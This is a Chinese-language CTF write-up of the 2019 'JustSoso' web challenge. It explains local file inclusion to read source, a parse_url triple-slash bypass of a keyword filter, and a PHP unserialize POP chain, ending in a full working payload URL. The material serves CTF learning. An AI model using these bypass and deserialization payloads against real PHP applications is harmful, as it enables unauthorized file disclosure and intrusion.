2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)

0x00

这道题是刚好在网上看到的,感觉跟moctf里有一道PUBG,还有bugku里的一道welcome to bugkuctf都很像,但又有些区别,所以就学习学习。

参考自:https://www.anquanke.com/post/id/177039

http://www.cnblogs.com/kagari/p/10758155.html

 

0x01

打开题目后右键查看源码

2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_第1张图片

提示需要传参数,这里存在LFI漏洞(本地文件包含),常规操作伪协议读一下源码: 

2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_第2张图片

index.php:

';
}

if (preg_match("/flag/", $file)) {
    die('hack attacked!!!');
}

@include ($file);
if (isset($payload)) {
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'], $query);
    foreach ($query as $value) {
        if (preg_match("/flag/", $value)) {
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
} else {
    echo "Missing parameters";
}
?>

hint.php:

 $v) {
            $this->$k = null;
        }
        echo "Waking upn";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct() {
        $this->handle->getFlag();
    }
}

class Flag {
    public $file;
    public $token;
    public $token_flag;
    function __construct($file) {
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1, 10000));
    }
    public function getFlag() {
        $this->token_flag = md5(rand(1, 10000));
        if ($this->token === $this->token_flag) {
            if (isset($this->file)) {
                echo @highlight_file($this->file, true);
            }
        }
    }
}
?>

首先会对我们传入的参数调用parse_url函数进行解析,然后对我们的每个参数进行正则匹配,匹配到flag就直接退出。

这里就要用到parse_url的解析漏洞,可以查看一叶飘零师傅的文章:

https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

我们只需要加多两条/

就可以绕过正则匹配。

 

分析hint.php:

分别有两个类。

(1)Handle类,里面有一个private成员和三个成员函数。  

①private $handle;

②function __wakeup()

③function __construct()

④function __destruct()

(2)Flag类,里面有三个public成员和两个成员函数。

①public $file;

②public $token;

③public $token_flag;

④function __construct()

⑤function getFlag()

 

之后我们查看hint.php,看到

class Handle{}中引用了getFlag函数:

public function __destruct(){    
        $this->handle->getFlag();   
}

class Flag{}中定义了getFlag函数:

public function getFlag() {
    $this->token_flag = md5(rand(1, 10000));
    if ($this->token === $this->token_flag) {
        if (isset($this->file)) {
            echo @highlight_file($this->file, true);
        }
    }
}

所以最终我们的目的就是触发getFlag函数,且传入file参数为flag.php。

显然这里考察的是反序列化,因此我们构造pop链。

1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);

2,构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>

$a = new Handle($b);

3,Handle类中的__wakeup()会把变量清空,所以我们要在反序列化之后,修改一下变量数量,将payload中O:6:"Handle":1改为O:6:"Handle":2

4,要让token===token_flag,我们可以使用引用,使token变为token_flag的引用

$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);

执行得到 O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

 

Payload:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

还有一点要注意:s:14:"Handlehandle" 为什么长度是12,前面的值却是14呢?

这是因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14。

类似的protect属性,则是在*前后各有一个0x00。可以自己在本地尝试一下。

0x00的url编码为%00,因此我们传参时要进行编码。

因此最终payload要加上%00。

你可能感兴趣的:(Code,Audit,CTF)